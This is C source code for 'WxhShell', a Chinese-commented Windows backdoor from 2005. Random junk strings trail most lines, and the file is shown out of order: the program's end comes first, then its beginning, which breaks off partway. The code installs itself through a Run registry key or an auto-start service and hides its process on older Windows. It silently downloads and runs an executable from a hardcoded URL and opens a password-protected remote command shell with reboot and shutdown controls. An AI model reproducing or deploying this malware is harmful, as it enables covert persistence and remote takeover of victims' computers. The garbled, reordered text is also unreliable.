DWORD BasePriority; PuCA
@qY
ULONG UniqueProcessId; 4F6o
ULONG InheritedFromUniqueProcessId; /- 4B)mL
} PROCESS_BASIC_INFORMATION; %\&dFwb
wx5*!^&j
PROCNTQSIP NtQueryInformationProcess; }c5`~ LLK
#zs\Z]3#
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VVl-cU
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NWK_(=n
,x.)L=Cx8
HANDLE hProcess; A_|FsQ6$P
PROCESS_BASIC_INFORMATION pbi; ta.,4R&K
NYvj?>[y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 82!GM.b
if(NULL == hInst ) return 0; ):ZumG#o
}l!_m.#e
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0N ;d)3
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !r0P\
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zRFM/IYC
V<pjR@
if (!NtQueryInformationProcess) return 0; pPpnO
-V/i%_+Ze
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S\!E;p
if(!hProcess) return 0; z1s"C[W2T
~'=4K/39
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p,Hk"DSs%
<t37DnCgI
CloseHandle(hProcess); In
M'zAhb
n$l]+[>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %([H*sLX
if(hProcess==NULL) return 0; \hN2w]e
RhmVHhj
HMODULE hMod; !#qB%E]a
char procName[255]; uZI a-b
unsigned long cbNeeded; N&`ay{&`:
;g]+MLV9
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r^^C9"
1Di&vpn0u
CloseHandle(hProcess); uK5x[m
e*s{/a?,
if(strstr(procName,"services")) return 1; // 以服务启动 1tpD|
Ngnjr7Q={T
return 0; // 注册表启动 rSn7(3e4^
} epyfggMT
c
@fc7
// 主模块 Q4q#/z
int StartWxhshell(LPSTR lpCmdLine) ?9TogW>W
{ `oBzt|f5
SOCKET wsl; <=M }[
BOOL val=TRUE; 0{F.DDiNT
int port=0; glgk>83I+
struct sockaddr_in door; sc60:IxgI
#mYxO
if(wscfg.ws_autoins) Install(); =YIQ
_,{u
Hp!F?J7sx
port=atoi(lpCmdLine); P7-3Vf_L
IhLfuyFWu
if(port<=0) port=wscfg.ws_port; 0aWb s$FyU
Q,`kfxA`O
WSADATA data; 2_X0Og8s[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sf0U(XYQ^
W$S.?[X
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |3m%d2V*hF
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uLF55:`<
door.sin_family = AF_INET; D9en
door.sin_addr.s_addr = inet_addr("127.0.0.1"); h[T3WE
door.sin_port = htons(port); e
AjtW qg
T`sM4 VWqU
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9MxGyGz$
closesocket(wsl); hgGcUpJy?
return 1; mGvP9E"&
} 4>* `26
Vk-_H)*r
if(listen(wsl,2) == INVALID_SOCKET) { JB<4m4-
closesocket(wsl); Jiq[VeLe
return 1; +$5^+C\6A
} ^ZG 1
Wxhshell(wsl); W6Pg:Il7
WSACleanup(); C.<4D1}P
bAp`lmFI
return 0; \ua.%|
g\'sGt3 O
} 2|BE{91
-;}Wm[
// 以NT服务方式启动 6EY4@0%A
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c&&UT-Z
{ #Gx@\BE{
DWORD status = 0; X;h~s:LM
DWORD specificError = 0xfffffff;
y1X.Mvc
~_%[j8o&l
serviceStatus.dwServiceType = SERVICE_WIN32; pG&.Ye]j
serviceStatus.dwCurrentState = SERVICE_START_PENDING; M .,|cx
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2uIAnbW]M
serviceStatus.dwWin32ExitCode = 0; FhGbQJ?[3
serviceStatus.dwServiceSpecificExitCode = 0; Q*:
Ow]
serviceStatus.dwCheckPoint = 0; *F0N'*
serviceStatus.dwWaitHint = 0; iQF93:#
9[Mu
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7(H/|2;-d8
if (hServiceStatusHandle==0) return; zYgLGwi{
GcuZPIN%D
status = GetLastError(); >nX'RE|F
if (status!=NO_ERROR) EcU9Tm`h
{ wal }[F#
serviceStatus.dwCurrentState = SERVICE_STOPPED; Sgj6tH2M
serviceStatus.dwCheckPoint = 0; }_ E
serviceStatus.dwWaitHint = 0; ]7;;uhn`
serviceStatus.dwWin32ExitCode = status; ']Z8C)tK
serviceStatus.dwServiceSpecificExitCode = specificError; xpz
Jt2S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P}gh-5x
return; \Z8!iruN
} \B)<<[ $
h.nz kp5
serviceStatus.dwCurrentState = SERVICE_RUNNING; !?{5ET,gtN
serviceStatus.dwCheckPoint = 0; N*fN&0r
serviceStatus.dwWaitHint = 0; ?=/l@ d
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
VMp6s%m
} +Ji dP
6%TV X
// 处理NT服务事件,比如:启动、停止 ''G@n*
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^s5)FdF8
{ 2;/hFwm
switch(fdwControl) $3>|RlxYA
{ eIJQ|p<v
case SERVICE_CONTROL_STOP: H,'c&
serviceStatus.dwWin32ExitCode = 0; v!2`hqO
serviceStatus.dwCurrentState = SERVICE_STOPPED; "2mVW_k
serviceStatus.dwCheckPoint = 0; HM/ qB^
serviceStatus.dwWaitHint = 0; ~0L>l J
{ JmkJ^-A 6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #ed]zI9O
} 6*$N@>8&
return; _wIAr
case SERVICE_CONTROL_PAUSE: XZhhr1-<a
serviceStatus.dwCurrentState = SERVICE_PAUSED; uJQeZEe
break; HO"(eDW6z
case SERVICE_CONTROL_CONTINUE: % uKDcj
serviceStatus.dwCurrentState = SERVICE_RUNNING; =$MV3]
break; Ks4TBi&J
case SERVICE_CONTROL_INTERROGATE: nN[,$`JD,
break; [yz;OoA:;
}; m9/a!|fBE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a.P^+h
} N'4*L=Ut
D3eK!'qS
// 标准应用程序主函数 !*p lK6a
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '?\Hm'8
{ bz1\EkLL
bkb}M)C
// 获取操作系统版本 {+!_; zzZ
OsIsNt=GetOsVer(); 2l9_$evK~
GetModuleFileName(NULL,ExeFile,MAX_PATH); kns[b [!H
I)clGMS,
// 从命令行安装 =&vV$UtV
if(strpbrk(lpCmdLine,"iI")) Install(); YPN|qn(
`|gCbs95
// 下载执行文件 GFvOrRlP\
if(wscfg.ws_downexe) { BP` UB
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yY}`G-)g~*
WinExec(wscfg.ws_filenam,SW_HIDE); 1UOFTI2S|
} Gb"PMai
kY|<1Ht
if(!OsIsNt) { bp }~{]:b
// 如果时win9x,隐藏进程并且设置为注册表启动 17-K~ybc
HideProc(); mV-MJ$3r
StartWxhshell(lpCmdLine); Ba"Z^(:
} t ,0~5>5
else g%K3ah
v
if(StartFromService()) JWLQ9UX
// 以服务方式启动 ;(z0r_p<q
StartServiceCtrlDispatcher(DispatchTable); wDn5|F}i&
else "F=O
// 普通方式启动 _]B'C
StartWxhshell(lpCmdLine); 5'X.Z:
rKO[;]_*
return 0; ^+-i7`|=
} Yt&^i(
DwoO([&I
{&xKSWNc
\2uQ"kJC
=========================================== 905
/4z'
;#AV~Y-
s
j &~OR6
(i {
xR$xAcoSB
ZZ.GpB.
" i),W1<A1
"/K44(^
#include <stdio.h> zT.qNtU%
#include <string.h> U`xjau+
#include <windows.h> >XBLm`a
#include <winsock2.h> $cjidBi`):
#include <winsvc.h> 7Kfh:0Ihhy
#include <urlmon.h> YqYCW}$
9\V^q9l
#pragma comment (lib, "Ws2_32.lib") 1%H]2@
#pragma comment (lib, "urlmon.lib") 8!1vsEqv
4jvgyi9
#define MAX_USER 100 // 最大客户端连接数 8dP^zjPj
#define BUF_SOCK 200 // sock buffer yKi* 8N"e<
#define KEY_BUFF 255 // 输入 buffer
IS!sJ c
moh7:g
#define REBOOT 0 // 重启 Nb-;D)W;B
#define SHUTDOWN 1 // 关机
1I_(!F{Ho
(Ori].{C.J
#define DEF_PORT 5000 // 监听端口 kA fkQy(~
IG
6yt
#define REG_LEN 16 // 注册表键长度 q45Hmz
#define SVC_LEN 80 // NT服务名长度 h60*=+vdJ
LG(bdj"NM
// 从dll定义API <yBZsSj
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MC^H N w
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q'[5h>Pa
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4&}LYSZl
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G;MmD?VJ g
H{yeN 5
// wxhshell配置信息 u[})|x*N
struct WSCFG { FgLV>#)-
int ws_port; // 监听端口 L'.7V ~b{
char ws_passstr[REG_LEN]; // 口令 I6~.sTl
int ws_autoins; // 安装标记, 1=yes 0=no =
oQ-I
char ws_regname[REG_LEN]; // 注册表键名 Y`w+?}(M
char ws_svcname[REG_LEN]; // 服务名 _uID3N%
char ws_svcdisp[SVC_LEN]; // 服务显示名 *zJ}=%)f
char ws_svcdesc[SVC_LEN]; // 服务描述信息 kU0e;r1 N
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nKT\ /}d
int ws_downexe; // 下载执行标记, 1=yes 0=no l@%MS\{
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YRqIC -_
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }O-|b#Q
`J#(ffo-
}; DR;rK[f
o/
ozX4C
// default Wxhshell configuration ,!Gw40t
struct WSCFG wscfg={DEF_PORT, abp]qvCV
"xuhuanlingzhe", CtfI&rb[
1, #3leMZ6
"Wxhshell", Z+x,Awq
"Wxhshell", o[X'We;
"WxhShell Service", 2eK!<Gj
"Wrsky Windows CmdShell Service", z1K@AaRx
"Please Input Your Password: ", f%;8]a9
1, /^SIJS@^`>
"http://www.wrsky.com/wxhshell.exe", To.CY^M
"Wxhshell.exe" "k[-eFz/@M
}; . _Bejh
*F[@lY\p
// 消息定义模块 R5(<:]
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q,(U 8
char *msg_ws_prompt="\n\r? for help\n\r#>"; v'mRch)d
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BagO0#
char *msg_ws_ext="\n\rExit."; Y j;KKgk
char *msg_ws_end="\n\rQuit."; ~dg7c{o5
char *msg_ws_boot="\n\rReboot..."; D6fry\
char *msg_ws_poff="\n\rShutdown..."; >{C=\F#*L
char *msg_ws_down="\n\rSave to "; JHC 6l
7.`Fe g.
char *msg_ws_err="\n\rErr!"; kr[p4X4
char *msg_ws_ok="\n\rOK!"; ux:czZqy
@z[,w`
char ExeFile[MAX_PATH]; 0Z$=2c?xT
int nUser = 0; WBvh<wTw;
HANDLE handles[MAX_USER]; yPs4S?<s
int OsIsNt; z|E/pm$^
(e.?). e
SERVICE_STATUS serviceStatus; &@NTedg!
SERVICE_STATUS_HANDLE hServiceStatusHandle; aNs~Uad1U
}8`W%_Yk
// 函数声明
[uqe|< :
int Install(void); ?NkweT(
int Uninstall(void); ,T&=*q
int DownloadFile(char *sURL, SOCKET wsh); OeLM*Zi
int Boot(int flag); d^p af
void HideProc(void); %&w 8E[
int GetOsVer(void); [$:M/5y9
int Wxhshell(SOCKET wsl); Ws$<B
b
void TalkWithClient(void *cs); 7L)edR[
int CmdShell(SOCKET sock); Oh)s"f\N
int StartFromService(void); (xxNQ]
l-(
int StartWxhshell(LPSTR lpCmdLine); R9bsl.e
dnRbt{`jP
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HGM ?
?=
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sxc^n
aK0
;r'y/Y'?
// 数据结构和表定义 E0?R,+>&4
SERVICE_TABLE_ENTRY DispatchTable[] = P&I%!'<
{ HGIPz{/5U
{wscfg.ws_svcname, NTServiceMain}, $v5)d J
{NULL, NULL} =Y!x
}; j=c=Pe"?u
;r<(n3"F
// 自我安装 b/;!yOF
int Install(void) =ie8{j2:
{ Lxz!>JO>
char svExeFile[MAX_PATH]; c$fi3O
HKEY key; su:~Xd
strcpy(svExeFile,ExeFile); WRIOj Q:
V;}kgWc1
// 如果是win9x系统,修改注册表设为自启动 V}=%/OY?
if(!OsIsNt) { v_=xN^R
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }#'I,?_k
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^jY/w>UdH
RegCloseKey(key); FVY$A=G
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' b?' u
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Em6P6D>S>,
RegCloseKey(key); vl}fC@%WRI
return 0; TEB<ia3+
} bzj9U>eY
} cl2+,!:
} TgC8EcLr
else { 'DLgOUvh
10.u
// 如果是NT以上系统,安装为系统服务 I'sq0^
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `eZ
+Pf".
if (schSCManager!=0) -!_\4
{ 1=o|[7
SC_HANDLE schService = CreateService `wGP31Y.
( ,^Ug[pGG-
schSCManager, ^ &UezDTS
wscfg.ws_svcname, $4YyZ!_.@
wscfg.ws_svcdisp, _T\/kJ)Q\
SERVICE_ALL_ACCESS, ^v2-"mX<
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AlPk o($E*
SERVICE_AUTO_START, y&A0}>a:d
SERVICE_ERROR_NORMAL, oY
NIJXln
svExeFile, }253Q!f
NULL, xvpCOoGsz
NULL, SK][UxoHm
NULL, *;N6S~_'Y
NULL, BIJlU(aF
NULL ,q_'l?Pn
); :6h$1
+6
if (schService!=0) J~jxmh
{ 322)r$!"
CloseServiceHandle(schService); N"',
CloseServiceHandle(schSCManager); nO;*Peob
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O\~/J/u
<
strcat(svExeFile,wscfg.ws_svcname); ^k#.;Q#4
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .@5RoD[o
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \+9~\eeXb
RegCloseKey(key); Ire+r
"am
return 0; xbTvv>'U
} B me_#
} ?v5OUmFM
CloseServiceHandle(schSCManager); OCX>LK!K
} J`I^F:y*
} !PySYY
LvM;ZfAEv
return 1; 0aWy!d
} 3)ZdT{MY
= n>aJ(=Pd
// 自我卸载 {.r
jp`39
int Uninstall(void) [c`u
{ ?=^~(x?S
HKEY key; %@q/OVnM
31cC*
if(!OsIsNt) { F]qX}
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #&$a7L}
RegDeleteValue(key,wscfg.ws_regname); B8G9V6KS-
RegCloseKey(key); e6
&-f
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sJ3O ]
RegDeleteValue(key,wscfg.ws_regname); AiDV4lHr
RegCloseKey(key); =cP7"\
return 0; BH;7CK=7R
} ~ZxFL$<'3
} )8,) &F
} Sd9%tO9mf
else { {J[5 {]Je[
Qnr7Qnb
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :nLhg$wMs
if (schSCManager!=0) I\y=uC
{ [V2`t'
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @lO(QpdG
if (schService!=0) n[f<]4<
{ IncHY?ud<